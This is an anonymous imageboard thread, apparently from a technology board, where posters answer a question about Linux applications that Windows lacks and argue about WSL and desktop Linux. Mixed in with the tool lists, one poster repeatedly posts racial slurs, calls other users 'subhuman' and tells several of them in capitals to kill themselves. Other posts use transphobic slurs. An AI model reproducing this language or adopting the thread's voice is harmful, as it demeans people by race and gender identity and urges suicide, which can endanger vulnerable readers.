freetards are subhuman nigger trash
simpleas
Anonymous No.106008142 [Report] >>106008292 >>106008534 >>106008634 >>106008738 >>106009011 >>106009389
>>106008133
>subhuman freetard nigger trash NPCs still shit up the board feeding the word for word spambot copy pasta anti-linux troll threads 24/7/365
do the entire linux community a favor and FUCKING KILL YOURSELF
we don't want subhuman nigger trash like you using linux
you are not freechads like us, you are brain dead subhuman freetard nigger trash
you are beneath literal actual fucking niggers in intelligence
the entire linux community would benefit from YOU ENDING YOUR WORTHLESS FUCKING BRAINDEAD NPC LIFE
YOU ARE AN EMBARASSMENT TO THE ENTIRETY OF LINUX
KILL YOURSELF YOU SUBHUMAN FREETARD NIGGER SACK OF SHIT
WE DONT WANT BRAINDEAD SUBHUMAN NIGGER TRASH LIKE YOU ON LINUX
Anonymous No.106008185 [Report] >>106008249 >>106008292
>>105992286 (OP)
rsync, rclone,fish shell, newsboat, timeshift
Anonymous No.106008249 [Report] >>106008292
>>106008185
screen, tmux, at, nginx, sshfs, xkill, killall, tomb
Anonymous No.106008292 [Report] >>106008465
>>106008185
>>106008249
kill yourself freetard >>106008142
Anonymous No.106008465 [Report] >>106008534
>>106008292
I feel sad for you, if you'd only know what you're missing
Anonymous No.106008534 [Report]
>>106008465
kill yourself freetard >>106008142
Anonymous No.106008569 [Report] >>106008738 >>106010548
>>105992441
Pipewire? macOS has been doing the equivalent of Pipewire for decades.
Anonymous No.106008581 [Report] >>106008614 >>106008626 >>106008660
with WSL, windows is linux now.
Anonymous No.106008584 [Report]
>>105992647
multiple UIs are a Desktop Linux flaw

You want applications on Linux, there needs to be ONE UI standard as a base.
Anonymous No.106008614 [Report]
>>106008581
for the Mac, try Orbstack
Anonymous No.106008626 [Report] >>106008632 >>106008738
>>106008581

Why would anyone ever bother with this stupid shit
Anonymous No.106008632 [Report] >>106008738
>>106008626
what, WSL2? because you're cucked to use windows and need an alternative.
also WSL2 conveniently seems to be immune to corporate AV. kek
Anonymous No.106008634 [Report]
>>106008142
I bet this guy who mass reported me whenever my post contains "TROONIX" on it. Lol, dude. Troonixers are malding.
Anonymous No.106008660 [Report] >>106008783 >>106008937 >>106008954
>>106008581
windows distro when?
windows ditching NT for linux when?
Anonymous No.106008665 [Report] >>106008738 >>106008795
>>105992286 (OP)
pkg-config
Libraries on Windows are fucking aids.
MSYS2 doesn't count anymore than wine counts.
Anonymous No.106008738 [Report]
>>106008665
>>106008632
>>106008626
>>106008569
kill yourself freetard >>106008142
Anonymous No.106008783 [Report] >>106008938
>>106008660
delusional troonix
Anonymous No.106008795 [Report] >>106009389
>>106008665
it's called 3rdparty folder or externals
Anonymous No.106008937 [Report]
>>106008660
>windows ditching NT for linux when?
no need to ditch nt, wsl even support systemd.

https://learn.microsoft.com/en-us/windows/wsl/compare-versions?source=recommendations

it's crazy how fast microsoft implemented this while Wine took +20 years to become barely usable.
Anonymous No.106008938 [Report]
>>106008783
>azure linux
>WSL
linux based windows distro anyday now.
Anonymous No.106008950 [Report] >>106009389
>>106006438
I want everyone on linux. :)
Anonymous No.106008954 [Report]
>>106008660
WSL is using a custom linux kernel on top of NT
https://learn.microsoft.com/en-us/windows/wsl/kernel-release-notes
Anonymous No.106008965 [Report]
>>105992370
>tranny
>killer app
LMAO
Anonymous No.106009011 [Report] >>106009157
>>106008142
agreed
windows refugees are responsible for almost all the freedesktop shitware
Anonymous No.106009157 [Report] >>106009181 >>106009184 >>106009217
>>106009011
we want usable softare, yeah, the horror.
Anonymous No.106009181 [Report]
>>106009157
"usable" to me means understanding what the fuck it's doing without untangling ten layers of abstraction and using wireshark on a unix socket
Anonymous No.106009184 [Report] >>106009208 >>106009389
>>106009157
>use software
>don't contribute back
go back to windows
Anonymous No.106009208 [Report] >>106009267 >>106009389 >>106010172
>>106009184
contribute what back? ai is doing the code now.
Anonymous No.106009217 [Report]
>>106009157
It's called windows. Troonix is for PHPslop and webjeet
Anonymous No.106009267 [Report]
>>106009208
Not really. FOSStards seem to actually be pretty paranoid about this shit considering literally everything seems to be walled behind anubis now.
Anonymous No.106009389 [Report]
>>106008795
>>106008950
>>106009184
>>106009208
kill yourself freetard >>106008142
Anonymous No.106010172 [Report] >>106010204
>>106009208
>ai is doing the code now.
/g/ technical excellence.
gtfo of my board you worthless low IQ nigger.
Anonymous No.106010204 [Report] >>106010272
>>106010172
>jay niggirwin samefags himself to save his flamewar troll thread from page 10 after hours of no bites again
Anonymous No.106010271 [Report]
>>105992370
Where's super straight?
Anonymous No.106010272 [Report]
>>106010204
believe it or not, I'm not jay.
Anonymous No.106010548 [Report]
>>106008569
OP:
>What are Linux's killer apps that aren't on Windows?
what the fuck are you asking about macos for